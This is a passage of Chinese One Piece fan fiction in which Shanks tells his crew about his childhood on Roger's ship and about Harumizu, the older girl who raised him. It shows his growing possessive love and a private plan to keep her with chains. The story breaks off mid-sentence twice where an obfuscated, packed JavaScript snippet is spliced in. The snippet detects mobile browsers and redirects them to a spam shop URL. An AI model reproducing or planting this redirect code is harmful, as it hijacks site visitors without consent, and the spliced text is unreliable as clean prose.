熟悉的名字像一把钥匙,打开了记忆的闸门。 “他还在和你闹脾气吗?”春水带着点怀念地回忆,“那孩子……明明小时候还信誓旦旦,说要和你一起组建最自由的海贼团呢。” “要是知道我找到了你,他估计会开心的不得了。”想到那时候的他们,香克斯也笑了。 他很少和伙伴们讲起自己的过去,就连曾经是奥罗·杰克逊号上的见习船员这件事,都是贝克曼偶然发现的。 ——他的航海日记里掉出来了一张旧照片,角落被磨的起了毛边,照片上有着单拎出来都能名震一方的「传说」中的大海贼们,还有已故的海贼王。 但,那似乎是香克斯不太愿意独自触碰的回忆,尤其是涉及到失踪的姐姐。伙伴们也就识趣地没再多问。 如今见他主动提起,本迪克·斯内克、本克·宾治、莱姆琼斯、嘎布,连看似在打盹的猴子猛士达都竖起了耳朵—— 关于船长的童年、关于那艘传奇的海贼船……这些故事总是充满了吸引力。 自来熟的耶稣布立刻抓住机会,凑上前举手发问,脸上写满了好奇:“话说,春水,你第一次见头儿是多大?他那时候也像现在这样……嗯……毛毛躁躁、不修边幅吗?” 他们只知道这位“姐姐”是自家头儿的初恋兼暗恋对象,久久不能释怀,春、梦和噩梦也都是她的脸之类的。再多的细节就什么都不知道了——香克斯在这方面意外地嘴严。 “等我找到她,你们问她就知道了。”他总会这么说着,岔开话题,语气笃定得像是在说服自己。 她没有死。 她一定还活着,只是没法来找自己。 ——讲真的,要不是看过这人喝高了抱着柱子喊“春水别走别死”的醉样,他们就真信了。 一船的伙伴们不动声色地围拢过来,连贝克曼都拿着报纸,坐的近了些。 ……毛毛躁躁?不修边幅? 这是在说谁?在说他吗?! 香克斯对这类形容词表示出了强烈的抗议,一脸不可置信地扭头瞪他:“喂!耶稣布!我的穿搭不帅吗?” 说着,他指了指自己的白衬衫、标志性红腰封、七分裤和……脚上那双随性的大凉拖。 春水:“………” 怎么办呢? 即使对宝贝弟弟有滤镜,他这种审美也让人尬吹不起来啊。 ……根本无从下嘴啊。 她带着一种难以言喻的神情移开了视线,只是伸出手,安抚性地拍了拍他宝贝的草帽。 “春水……你倒是说些什么啊……”香克斯瞬间露出一副大受打击的表情,引得伙伴们爆发出了更响亮的笑声。原本有些凝滞的气氛,在笑声里慢慢地轻松了下来。 “第一次见香克斯吗?” 话归正题,春水的眉眼微微弯起——每每提及那段回忆,她的神情总会变得鲜活明亮。 “他那时才一岁,不知道怎么钻进了宝箱里,被船长他们当成战利品抢回了船上。” 她缓缓道来,声音温和而清晰。 “他小时候就不怕生,胆子大的很,人越多笑得越开心,最喜欢听甲板上大家开宴会的声音。每次宴会散场,他总会瘪着小嘴哭上好一阵,哭累了,才会抱着奶瓶睡着。” “船上的大家都很忙,雷利先生只好把他交给我。贾巴先生还做了一个小背带,这样我去哪儿都能带着他。” “他很乖,很少哭闹,哪怕在船只穿越风暴时,也只是张着小手,笑着看所有人在甲板上忙来忙去。” “我们香克斯——”春水说着,习惯性地抬手,揉了揉身旁听得津津有味的香克斯那头硬茬茬的红发,语气里满是纵容与骄傲,“小时候性格就特别特别好。” 后者仰起脸来任她揉搓,看起来无比受用。这个亲昵自然的动作,让船员们不自觉地放松了下来。 于是,尘封的往事,便在雷德·福斯号的航行中,被海风一页页地吹开了。 神之谷战役的硝烟散去后,罗杰海贼团的战利品中,多了一个不起眼的宝箱。 当箱盖被撬开时,薄薄的一层珠宝上,居然有一个笑着伸手朝大家要抱抱的小婴儿。 “唉——活的吗?!人类吗?!!” “不然呢?!这一看就是人类啊笨蛋船长!!” “为什么会在神之谷的宝箱里啊,他父母呢?” “可能是那群被狩猎的岛民吧……” “唉……那这孩子也是命苦。” “他好像想要人抱抱!” “你抱你抱我怕小孩!” “啊啊啊啊我也害怕捏死他!” 海贼们习惯了拼杀,面对这个脆弱的小生命,显得笨拙而无措。一大群男人围着小婴儿看,连碰都不敢碰一下。 甲板上顿时陷入一片手忙脚乱,最稳重的副船长雷利率先稳住局面:“事已至此,先给这孩子取个名字吧。” 有了名字就有了牵绊,这是准备收养他的意思了。 罗杰俯下身,用粗糙的手指碰了碰婴儿的脸颊,笑眯眯地宣布:"从今天起,你就是香克斯了。" 似乎听懂了他的话,婴儿笑得更开心了。 那么下一步,就是给他找个监护人。 雷利扫了一圈,伙伴们纷纷后退避开与他对视,他头疼地揉按着眉心,目光落在了安静站在一旁的春水身上。 年仅六岁的她,在船上已经度过两年,是船上最小的孩子——直到这个婴儿的到来。 “春水。”雷利的声音沉稳,“你来照顾他。” 这个决定,让两个孩子命运的轨迹慢慢地、坚定地交缠在了一起。 春水自己也是个孩子,完全不懂怎么养小孩。但出于对「我能帮上忙了」的欣喜,她一直很努力、很努力地学习,做一个好姐姐。 她笨拙地模仿着雷利的样子,小心翼翼地将香克斯抱在怀里——那姿势其实让他很不舒服。 但这孩子出乎意料地乖巧,不哭也不闹,只是睁着一双明亮的眼睛,好奇地打量着她。 贾巴用柔软的皮革和结实的布料做了个背带,让春水能够将香克斯稳妥地背在身后,或者抱在身前。 于是,奥罗·杰克逊号的甲板上,常常出现这样的景象:一个瘦小的女孩,身上挂着一个小不点,像个小跟班似的追在罗杰身后忙前忙后。 闲下来时,罗杰总会大笑着将两个孩子一起举到头顶,玩他们最喜欢的抛高高。 在一片欢笑声中,香克斯一天天地长大了。 算是雏鸟情节吗?或者是一种本能?他似乎天生就依恋这个声音轻柔、怀抱温暖的姐姐。 她总会给他无穷无尽的安全感。 宴会上震天的笑骂声足以吓哭其他孩子,他却在姐姐怀里兴奋地挥舞小手,人越多笑得越开心。 可一旦宴会散去,伙伴们纷纷回房,甲板上恢复安静。他反而会瘪着小嘴,不安地扭动起来。 直到春水哼起摇篮曲,拍抚他的后背,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493583|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才慢慢安静下来,最终攥着姐姐温热的手指入睡。 “是因为失去了家人吗?这孩子从小就厌恶独处。”同样是孤儿的春水这么想着,将他抱得更紧了,“香克斯。姐姐会一直一直陪着你,不会让你寂寞的。” 于是,春水有了个小影子。 她练剑时,把他放在阴凉处,只要确保能时刻看到她,他就能安静地呆上好久。 她听雷利先生和贾巴先生讲课时,他就趴在她腿上,睁着大眼睛,若有所思地点头,像是能听懂似的。 她吃饭时,也是先细心地把食物弄碎,一点点喂饱他,确认他吃饱后自己才开始用餐。 作为船上唯二的孩子,亲眼看着他长大,春水非常、非常、非常喜欢香克斯。他们同吃同睡,形影不离,关系亲昵非常。 时间在浪花里流逝,香克斯又长大了些。他迈出的第一步,是摇摇晃晃地扑向蹲在不远处、张开双臂鼓励他的春水。 他开口说的第一个词,不是“爸爸”,也不是“妈妈”,而是含糊的——“春水”。 是因为听别人总喊自己“春水”,久而久之就记住了吗? 这让教了他一个月“姐姐”发音的春水无奈又感动。 等香克斯学会了走路,春水耐心地牵着他的手,带他认识船上的每一处—— 这是厨房,飘着香味。 这是炮舱,声音很响要捂住耳朵。 这是瞭望台,能看到最远的海。 香克斯仰着头,听姐姐轻柔的讲解,对这个世界充满了好奇,手却紧紧地、死死地拉住她。 随着年龄渐长,香克斯对情绪的变化越发敏感。他总能在她受困于瓶颈期焦躁不安或者因为别的什么而生自己的闷气时,期期艾艾地挤到她身边,一句话也不说,只是安静地陪着她。 “怎么能这么乖这么可爱呢?她的宝贝弟弟!”被那样明显的依赖着,春水总能迅速整理好坏心情,用力揉揉他的头发,吧唧吧唧亲他好几口。 后来,船上又来了个与他年纪相仿、性格却南辕北辙的孩子——巴基。 两个少年迅速打成一团,你一拳我一拳,被春水无奈地分开。 奥罗·杰克逊号的氛围总是热烈而自由。巴基上船后,这份热闹更是翻了一番。 香克斯承袭了罗杰的开朗随性,带着莽撞的冒险精神;巴基则咋咋呼呼,对财宝有着超乎寻常的热忱,总认为香克斯的“好运”和“没头脑”会连累自己。 而年长五岁的春水,早已展现出了超越年龄的沉稳。 她师从雷利,修习剑术,性子也随了他的平和沉稳。腰间那柄罗杰所赠的薄刃佩刀「格伦」是她最珍爱的宝贝。 她最喜欢亦师亦父的「监护人」雷利先生,和他最亲近。最崇拜船长罗杰,因为他是她的救命恩人,给了小小的她一个家和很多很多的家人。 被那强大的人格魅力征服,春水大声宣誓:“船长,总有一天,我一定要成为能帮上你的人!!” 罗杰笑着拍她的背:“你这小丫头现在还帮不上我,去照顾好那两个小捣蛋鬼吧。” 于是,她自然而然地成为了照看巴基和香克斯的「小监护人」,顺带着教他们练起了刀法。 “手腕要稳,重心放低!”少女清亮的嗓音已带着几分雷利的严厉。她身着利落短打,目光锐利地审视着正在对练的香克斯和巴基。 木刀精准地敲在香克斯发力错误的手腕上,春水转头朝巴基发出警示:“巴基!眼睛看前面!你想砍到自己吗?” 香克斯挨了打,立刻呲牙咧嘴地调整姿势,努力模仿春水示范的动作。他的天赋很强,纠正过一次的问题就不会再犯第二次。 巴基没他那么痴迷于剑道。他更多是在鬼哭狼嚎,试图用各种滑稽的动作蒙混过关,挨了打就夸张地大叫着:“好痛啊春水姐!香克斯刚才也错了你怎么不打完他!” 然后被春水一个平静无波的眼神看得噤声,嘟囔着继续练习。 训练结束的纷争更是家常便饭。 “喂!香克斯!你刚才那下太狠了吧!”巴基捂着肩膀大叫。 “是你自己分心才被我打中的!”香克斯不服气地反驳。 眼见这两人又要吵起来,春水熟练地分开他们。 她一开口,香克斯就变乖了。 他总是最听话的那个,小狗似的凑到姐姐身边,任她用湿毛巾给自己擦脸,声音里满含期待:“春水姐!我今天有进步吗!” 巴基瘫在另一边,哀叹着训练占用了他寻找宝藏的时间,在被姐姐包扎时则是龇牙咧嘴地抱怨:“春水姐,轻点轻点!” 船上的时间总是漫长的,习惯了一成不变的海平面,登陆岛屿成了最令人期待的冒险。 每当船只停靠岛屿进行补给或探索时,带着这两个精力旺盛的小不点就成了春水最艰巨的任务。 她一手拉着一个,防止他们像脱缰的野狗一样冲散在陌生城镇的人流里。 “听好了。”她板起脸,认真地看着两张兴奋的小脸,像个小大人一样宣布纪律。“不准离开我的视线范围,不准惹麻烦,不准随便拿别人的东西。想要什么告诉我,我们用贝利买,明白吗?” 她的目光主要盯着巴基,因为香克斯虽然莽撞冒失,但大多出于好奇,而巴基他可能……可能真的会去“顺”点亮晶晶的东西。 “明白啦,春水姐!”香克斯紧紧回握住她的手,感受着她掌心粗糙的茧子,心里有种奇异的安心感。 他觉得被她牵着手是理所当然的——因为从小都是被她抱着长大的。 在发觉自己越长大和她的肢体接触就越少后,香克斯甚至希望这条路再长一点,更长一点。 巴基却往往心不在焉,眼珠子滴溜溜地转,直到春水用力捏一下他的手,才嗷嗷叫着想挣脱:“春水姐!我都多大了还牵手!被人家看到很丢脸啊!” 热闹的市集里,三个孩子的手牢牢牵在一起,汹涌的人流也无法冲散。 比起总想着乱花钱买各种奇怪东西的他们,雷利给春水发的零用钱要宽裕得多——她物欲极低,这些钱大多化作了两个弟弟嘴里的果汁或者零食。 春水失踪的这些年,香克斯总会控制不住地想起那段市集里的时光。 她对他的喜好了如指掌,他却完全想不起来她对刀以外的什么产生过兴趣。 也是啊。 那时候的自己哪能预想到,这人会那么干脆利落地同自己告别,一走就是十年呢? 人啊,究竟是为什么总会那么理所应当地认为,陪在自己身边的人,永远都不会离开呢? 为什么在每次道别时,都理所应当的认为,「下次」还会「再见」呢? 一遍遍责问自己为什么没早一点察觉到她的异样,为什么当初轻易地松手让她离开,为什么不死皮赖脸地跟着她一起走。 连生命纸都没留给他,那时的春水……明显就是自知九死一生,凶多吉少。 为什么呢?他现在才意识到这一点。 他那时就下定了决心,如果能再见到春水——哪怕是用强的,用些她不会喜欢的手段,他也一定、一定要死死地、牢牢地将她绑在自己身边。 海风拂过,香克斯捋了捋春水散落的鬓发。 她还在讲述过去的那些往事,沉浸在宝贝弟弟的乖巧往事里,边说还边摸自己的头。 他想起自己卧室里那些有意无意收集来的锁链和镣铐,在心底朝她轻声说了句抱歉。 ——抱歉啊,姐姐。 只做个乖巧的弟弟,没办法得到我想要的。这种事情啊,我十年前就知道了。 那就不做姐弟好了。 什么自由的冒险……那些都是哄你的。上了这艘船,我就没打算再放你下去。 再一次离开我这种事……无论理由是什么,都是绝对、绝对不被允许的。 ——抱歉啊,春水。 15. 我们一起走 伟大航路上,并不是所有岛屿都适合人类生活。在遇见了些无人岛时,罗杰海贼团的「冒险」才算是正式开始了。 即便有经验丰富的大人们在前方探路,春水仍习惯先于香克斯和巴基探查环境,确认安全无误后,才放心让他们开始撒欢寻宝。 她始终记得一年前的教训——登陆一座长满巨型草菇的岛屿时,因她的一时疏忽,让两个孩子被有毒孢子寄生,高烧整整三日才见好转。 能被罗杰认可的家伙都是些从小没生过病、即使战场上受了伤也能顽强自愈的怪物。连未成年的春水,体质也好得惊人。 因此,奥罗·杰克逊号上从未配备过船医。 好在雷利先生无所不能。 他对照药典,辨认出了气味古怪却疗效显著的草药,春水则亦步亦趋地跟随学习,仔细研磨、称量,最终熬成浓黑粘稠的汤药。 ——那药真的苦的惊人。 生病的孩子总是格外脆弱和黏人,春水寸步不离地守在他们俩身边,严格地按雷利先生的嘱托,换毛巾、喂药、量体温。 即使在发烧时,香克斯依旧懂事得令人心疼。 无论多难受,他都只是安静地睁着湿漉漉的眼睛,充满依赖地看向春水。 她喂药就乖乖张嘴,她换毛巾就配合地抬头。只有在她想要去看巴基时,他才会偷偷抓住她的衣角。 不可以走,姐姐。 ——请不要离开我,请一直呆在我身边。 只要你在,怎么样都好。 被他抓的一阵心软,春水轻声安慰他“没事,乖乖睡一觉就好了,姐姐一直守着你,哪儿也不会去”,他听她又拉勾又保证了好一通,这才安心地闭上眼睛。 隔壁床的巴基完全又是另一番景象了。 他会因为药苦而嚎啕大哭,总是耍赖不肯喝,要给很多颗糖才妥协。还会因发烧而各种无理取闹,脸涨的比鼻子还要红。 一会儿要喝水,一会儿嫌被子厚,一会儿嗓子痛——其实这孩子只是想一遍一遍地确认,有人在身边守着他。 在这一点上,他和香克斯是一样的。 春水耐心地哄着,像安抚一只暴躁的小兽,直到他折腾累了,沉沉睡去。 她轻轻地帮巴基掖好被角,转头去看香克斯时,才发现男孩即使睡着了,眉头也微微蹙着,仿佛在梦里也担心她会离开。 唉,香克斯这孩子总是……总是让人放心不下。 春水知道,无论是基于从小抚养到大的情谊,还是个人的偏好,她都更放不下香克斯——这几乎形成了一种无意识的偏袒。 罗杰船长也是。他从不掩饰对香克斯的偏爱,连自己一直戴着冒险的草帽都送给了香克斯。 雷利先生也对香克斯寄予厚望,春水曾无数次听他带着赞许地说起他,说他在剑道上的水平一定会抵达巅峰——就连不怎么在意小孩子之间吵吵嚷嚷的贾巴先生,都会下意识地把更红更大的苹果,丢到香克斯手上。 看似什么都不在意的巴基,其实是最敏感的孩子。 他什么都知道,只是用嘴硬掩盖失落,强行装作不在意。 记得在罗格镇分别时,巴基曾噙着泪愤怒地拒绝了香克斯的邀请。春水摸了摸失落的香克斯的发顶,把他送走后不放心地折返回去找了巴基。 “其实很想和香克斯一起出海的吧?为什么拒绝呢,巴基?”即便沉浸在罗杰船长离世的巨大悲痛中,她依然耐心开导着闹别扭的少年,“你们结伴同行,大家都会更安心。至少遇到危险时,香克斯能保护——” “身边站着香克斯那种有天赋又努力的人,我早就放弃当海贼的梦想了——”巴基哽咽着打断她,“春水姐,你和罗杰船长他们一样!眼里永远只有香克斯!只要他在,你们根本看不见我!” 有着自己骄傲的少年恨恨地发着誓:“离开你们我照样能行!总有一天,我要让''巴基''这个名字响彻大海!要让船长在天之灵也能听见我的名字!” 他硬气地拒绝了罗杰船长特意为他留下的、他最爱的财宝,只是沉着脸与春水道别——自此音讯全无。 故事在这里暂告一个段落,怀着对巴基那孩子的担忧,春水几不可闻地叹了一口气。 香克斯立刻察觉到了她的担忧。他不动声色地将话题转到了雷利先生身上,如愿看到春水眼里暗淡的光重新熠熠发亮。 香克斯从小就知道,巴基在洞察他人情绪方面有着野兽般的直觉。就连自己对春水那份早已超越姐弟界限的、过于黏稠的情感,最早窥破的,也是他。 对待姐姐,无论是眼神、态度、还是依赖程度上,两个孩子都拥有着相当大的差异——只是那时年纪太小,总会被大人的一句「青春期」轻飘飘地解释了过去。 连香克斯自己都被糊弄了过去,但巴基没有。 他很早就注意到,香克斯看春水姐的眼神,和自己不一样——他的眼神有时候太亮、太专注了。里面燃烧着一种让他看不懂的、近乎虔诚又带着独占欲的火焰。 似乎在小小的少年眼里,这位强大的姐姐,是唯一的光源一样。 当巴基不小心摔倒擦破皮,哇哇大哭时,春水会像所有称职的姐姐一样,拿出药膏,一边帮他清理伤口,一边轻声安抚:“好了好了,男子汉要坚强点。” 在受伤而脆弱的时候,巴基也会抽噎着、无比依赖地靠着姐姐。但他哭完闹完也就忘了。 而香克斯那家伙…… 因为训练过于拼命而受伤,或者有时只是心情低落时,他会默默地找到春水,不诉苦,不撒娇,只是安静地、固执地靠在她身边,像寻求庇护的幼兽。 ——春水姐真的拿他很没辙,她完全拒绝不了他。 遇到这种情况,她会立刻放下手中的事,注意力全部转移到他的身上。 香克斯想要的就是这个。 他慢慢平静下来,然后抬起头,看着春水,眼神里有一种巴基看不懂的、更深沉的执着和……眷恋。 是的。 那是眷恋。 一次,三个孩子分享着罗杰船长从后来的「四皇」之一,夏洛特·玲玲那儿抢来的糖果,据说极其珍贵。 巴基将一把糖迫不及待地塞进嘴里,含糊地说好吃。香克斯也被他蛊惑,将腮帮子塞的像只仓鼠。 春水对甜食兴趣不大,即使它的香味儿几乎能诱惑所有孩子——她总能克制住私欲,这一点上和监护人雷利简直一模一样。 她仔细地将自己那份糖分成两半,给了香克斯和巴基一人一半。 巴基开心地接过去,觉得春水姐真好,她是世界上最好的姐姐。而香克斯,他看着手中多出来的一把糖,又看了看春水空着的手。 即使很喜欢它们的味道,真的、真的很想再吃一大口—— 但他没有。 有什么更沉更庞大的情感盖过了食欲。 他咽了咽口水,小心翼翼地将它们用手帕包起来,塞进了自己最贴身的口袋里——如同每一次接受春水的赠礼一样。 巴基知道,香克斯甚至有一个上了锁的、被他视若珍宝的小木匣,里面专门收藏着所有来自春水的赠礼——漂亮的稀有金属,几片形状像火焰的叶子,和他发色一样红色的琉璃珠,刻着他名字的娃娃……如今,又多了这几颗糖。 “你不吃吗?过几天就化了。”巴基奇怪地问。 “我……我留着以后吃。”香克斯眼神游移,耳根不受控制地泛红,语气带着欲盖弥彰的慌张。 巴基当时没多想,只觉得香克斯这家伙古里古怪。 ……但这家伙类似的反常行为越来越多了。 他发现,香克斯会偷偷收集春水姐不小心掉落的发带,也放进了那个宝贝匣子里。 他会因为她随口一句夸奖而傻笑一整天,会在别的船员红着脸靠近春水姐时,像只被侵犯领地的小兽一样竖起尖刺,大声支开春水姐。 十三岁,本来就是介于男孩与少年之间的微妙年纪。他这些反常的举动,随着所谓“青春期”的到来,非但没有减弱,反而越发变本加厉。 巴基看向香克斯的眼神越来越古怪——尤其是在某个清晨,他发现香克斯背着众人,脸色通红,偷偷搓洗着自己的裤子后——那份长久以来的怀疑,迅速得到了验证。 前一个晚上,他清晰地听到了香克斯睡梦中无意识溢出的、带着依赖与渴求的呓语“姐姐”。 巴基自知掌握了惊天秘密,他在训练后凑到香克斯耳边,用特有的大嗓门质问道:“喂,香克斯!你昨晚该不会是……梦见了春水姐吧?!” 春水就在一旁,听到了自己的名字,她疑惑地望了过来。 那一瞬间,香克斯像被踩了尾巴的猫,瞬间炸毛,脸“唰”一下子涨得比他的头发还红。 他猛地捂住巴基的嘴,气急败坏地低吼:“你、你胡说什么呢巴基!闭、闭嘴!!” 巴基被他这过激的反应和通红的脸颊吓了一跳,猜测被证实,惊得他那颗红鼻子都更显眼了。 他挣脱开来,指着香克斯,像是发现了新大陆,爆发出了夸张的大笑:“哈哈哈!真的假的!香克斯你居然——嗷!” 话没说完,他就被恼羞成怒的香克斯扑倒在地。 两个半大的小子在甲板上毫无章法地扭打成一团,直到被闻声赶来的春水,一手一个,像拎不听话的小猫一样将他们从地上拎了起来。 “又打架?这次是为什么?”春水看着两个灰头土脸、气喘吁吁的笨蛋弟弟。 “是、是巴基他乱说话!”香克斯气呼呼地指控,耳朵还是红的。 巴基则做着鬼脸,用口型无声地对香克斯说:“你——喜——欢——春——水——姐——” 香克斯气得又要扑上去,被春水牢牢按住——她其实没怎么用力,他就乖乖听话了。 “好了,都闭嘴。”春水无奈地叹了口气,“去围着甲板跑十圈,什么时候冷静下来,什么时候停下。” 看着两人不情不愿地去跑圈的背影,春水摇了摇头。强大的见闻色霸气让她早已将这场冲突的根源听得一清二楚,却并未放在心上。 梦见姐姐怎么了,那不是很正常的事吗?为什么那么害羞? 在她眼里,他们都还是没长大的孩子,她一定要履行“姐姐”的职责,照顾着、约束着他们——这么想着的她却未曾察觉,其中一束依赖的目光,早已悄然变质。 香克斯意识到自己对春水的那份憧憬和依赖,可能并不是单纯的弟弟对姐姐的感情时,远比巴基想的更早。 那是在春水十六岁的「成人礼」上,年轻的见习船员羞赧地送了她一捧野花。在甲板上众船员们的起哄声中,春水面无表情地拒绝了。 “不好意思,雅格。我对那种事不感兴趣。”她平淡地、直白地回绝了对方的好意,“比起这些,想想怎么变强更要紧吧。” 不远处,雷利满意地微微颔首。贾巴大笑着上前,一把搂住瞬间蔫了下去,满脸失落的少年,用粗犷的安慰化解着尴尬。 罗杰船长则捶胸顿足,大声而愤怒地吐槽起了雷利的教育方式:“小孩子就要有小孩子的样子啊!我像她这么大时,都知道偷看隔壁姐姐洗澡了!” 这番毫不值得骄傲的“自曝”,成功换来副船长先生一记毫不留情的铁拳,将他狠狠捶倒在甲板上。 瞬间的寂静后,是更响亮的哄堂大笑。船员们迅速以此为借口,心安理得地开启了的宴会。 ——从始至终,只有坐在角落啃着一根肉骨头的香克斯,慢慢地、慢慢地停下了咀嚼。 他尝不出来肉的滋味了。 巴基用手肘用力撞他,兴奋地指向另一边:“喂!香克斯!别发呆了!快看,雷利先生要和贾巴先生掰手腕了!赌一瓶酒!” 香克斯却有些心不在焉,闷闷地“嗯”了一声,目光依旧黏在春水那边。 巴基顺着他的视线看去,恍然大悟,压低声音坏笑:“哦——你也觉得那家伙配不上春水姐对吧?癞蛤蟆想吃天鹅肉!” 香克斯没有回答,嘴唇抿得发白。 “要我说啊。”巴基继续他的高论,红鼻子得意地翘着,“能配得上春水姐的,至少也得是雷利先生那种类型的男人吧?强大、沉稳、可靠!雅格那小子连我都打不过呢!” 他碎碎念着,香克斯知道,他觉得那人配不上,是因为那人不够“好”。 但只有香克斯自己知道,他脑子里盘旋的,让他心烦意乱的问题是——究竟要什么样“足够好”的、幸运又该死的男人,才配得上他的春水姐? 或者说,他内心深处隐隐觉得,谁都不配。 真正让香克斯意识到这份感情变质……或者说其实从最开始,就算不上清白的——是一个炎热午夜的梦。 梦中没有具体的情节,只有一片模糊的、温暖的光晕。 他依偎在来人无比安心的怀抱里,鼻尖萦绕着熟悉的、混合着淡淡皂角与阳光的气息——那是春水姐的味道。 随之而来的,是一种前所未有的,令人头皮发麻心跳失控的悸动。 燥热的、慌乱的……有什么东西出来了…… 香克斯在一种奇异的满足与空虚中猛地惊醒。 船舱里一片黑暗,只有几片朦胧的月光,透过舷窗洒下清辉。同舱的巴基在对面的吊床上睡得四仰八叉,打着轻微鼾声。 不远处还放了个小小的折叠床,已经落灰了,那是春水的床位。 ——直到一年前,三个孩子都住在一起。后来春水才被雷利先生叫去,分了一个独立的小型储物间作为宿舍。 眼睛死死盯在那张空荡荡的折叠床上,刚从那个过于真实的梦境中挣脱出来的香克斯,大口大口地喘着气。 ……下(……)身粘稠而冰冷的异样感,让他瞬间僵住,血液倒流,脸像被火烧一样烫了起来。 他……他刚才梦到了…… 梦里的对象……是春水姐?! 这个认知如同惊雷,炸得香克斯大脑一片空白。巨大的羞耻感和罪恶感如同冰水浇头,让他无地自容。 他怎么可以……怎么可以对一手将他抚养长大的姐姐,产生如此……如此龌龊的念头和反应?! 生理的冲动与渴望,心理的负担与迷茫。 在香克斯还没来得及理清头绪,甚至只能继续用大人口中万能的“青春期”来仓皇地搪塞、麻痹自己时—— 一个更巨大、更沉重的阴影,笼罩住了整艘奥罗·杰克逊号。 ——罗杰船长生病了。 那个在所有人心中如同神明般无所不能、战无不胜的男人,终究还是败给了疾病。 当库洛卡斯医生确诊了罗杰的病症,并同意作为船医入伙后,奥罗·杰克逊号上似乎一切如常。 宴会依旧喧嚣,航行依旧随心所欲,伙伴们依旧插科打诨—— 但连年纪尚小的香克斯都看得出,那震天的笑声背后,隐藏着的泪光。 春水是最难过的那一个。 香克斯知道,她从小和母亲一起被人贩子拐走,又遇上了战乱,罗杰船长于她,是救命恩人,是赋予她新生的父亲,更是她倾尽所有崇拜与忠诚的「船长」。 他现在仍然记得,罗杰船长会在宴会喝到兴头上时,大笑着把春水扛上肩头,带着她在甲板上转圈,不顾雷利不赞同的目光和春水略带羞赧的惊呼,大声宣布: “看!我们的小春水!将来一定会成为比雷利还厉害的大剑豪!” 香克斯从没见过一直偷学雷利板着脸的春水,比那一刻更灿烂更鲜活的笑容。 “船长!总有一天,我一定要成为能帮上你的人!!” ——春水姐她啊,最崇拜船长了。 这份沉重的悲伤,对于一个十几岁的少女而言,几乎无法承受。 她怕自己的眼泪会影响大家的情绪,只能在无数个深夜,将脸深深埋进被褥,咬着唇无声地哭泣。 香克斯知道。 罗杰也知道。 明明是得了不治之症、死期将至的男人,却用力地拍拍双眼红肿的春水——那力道依旧没轻没重,声音依旧清晰而豪迈: “喂,春水!别摆出这副表情!抬头看看这片海!它如此广阔而美丽!来,跟我一起笑!哈哈哈——!” 他的笑容极具感染力,仿佛能驱散一切阴霾。 于是大家都跟着一起笑了——虽然很多人笑得比哭还难看,还有人笑着笑着开始用纸巾擦鼻涕。 香克斯十四岁那年,罗杰海贼团到达伟大航路最后的小岛,完成环游世界的壮举,并知晓了世界的「全部」。 罗杰将最后的小岛命名为“拉夫德鲁”,他开始被世人称为“海贼王”。 荣耀的顶点,是离别的开端。 因为巴基突发高烧而留下的香克斯与春水,听着归来的伙伴们讲述历史的真相——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493584|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后,罗杰海贼团……香克斯和春水都自小生长的地方,他们的「家」…… 它解散了。 他们无家可归了。 罗杰最先下船,他选择了南海的一座小岛巴苔里拉岛,带着足量的药品和食物。 他转身,背对着这群陪伴他征服了世界的家人,潇洒地挥了挥手。 “我走啦,你们别送啦。笨蛋们,好好保重。”用那样轻松的语气,说着那样悲伤的话。 罗杰船长的背影一如往常,仿佛只是进行一次短暂的登陆探险。 「船长——带我一个!最后的日子我想陪着你!!」 那一瞬间,香克斯只觉得浑身的血液都冲上了头顶,他痛哭流涕,几乎想跳下船去——事实上他也这么干了。 然而,一只冰凉而颤抖的手,死死地攥住了他的手腕。 香克斯猛地回头,对上了春水泪流满面的脸。滚烫的泪水大颗大颗地砸在他的手臂上,她却朝他轻轻地、轻轻地摇了摇头。 她比任何人都想追随船长而去。 但她更明白,船长选择独自离开,走的体面——他们要尊重他的决意。 ——哪怕,是最后一次。 泪水模糊了视线。 那一天,香克斯的世界在哭泣声中分崩离析。他只能感受到家人们不成调子的哭泣,与春水抓着自己、却颤抖得停不下来的手。 失去了船长的奥罗·杰克逊号,也没了航行的意义。伙伴们擦干眼泪,一个接一个地告别,走向各自未知的未来。 最后,空旷的甲板上,只剩下雷利、贾巴,和三个茫然无措的孩子。 贾巴选择了遥远的艾尔巴夫,打算将这艘传奇之船永远安置在巨人之国。对藏宝图兴致勃勃的巴基,决定跟随他前往。 雷利选择了香波地群岛,那是鱼人岛上方的岛屿,是新世界的入口。九蛇岛前任女帝夏琪已经先一步在那儿开了家酒吧,等待着心上人回家。 当所有人的目光都落在春水和香克斯身上时。春水紧紧攥着香克斯的手,仿佛那是唯一的支撑。 失去了罗杰船长的她,从小就在海上航行的她,完全想象不出下了船的未来,是什么样子。 她很害怕。 她抬起头,看向身边同样无措的弟弟,声音颤抖,却异常清晰:“我们一起走,去香波地群岛。香克斯……和我一起,好吗?” 她不知道离开船后该如何生活,但她知道,她不能放开这只手。 她们说好了要一直在一起的,不会再让他寂寞了。 ——只要有彼此在,就没什么好怕的了。 香克斯稳稳地、死死地攥住她的手,没有任何犹豫,用力地、几乎是吼出了他的回答:“好!当然要一起!!” 于是,他们在香波地群岛度过了一年。夏琪的酒吧生意兴隆,春水时常前去帮忙,雷利先生学起了镀膜的手艺,而香克斯,依旧在他的督促下继续练剑。 生活表面上平和而安宁,但他们都知道,那只是表象。 一年后,噩耗如同惊雷般炸响——哥尔·D·罗杰向海军自首,将在他的出生地「罗格镇」被公开处刑。 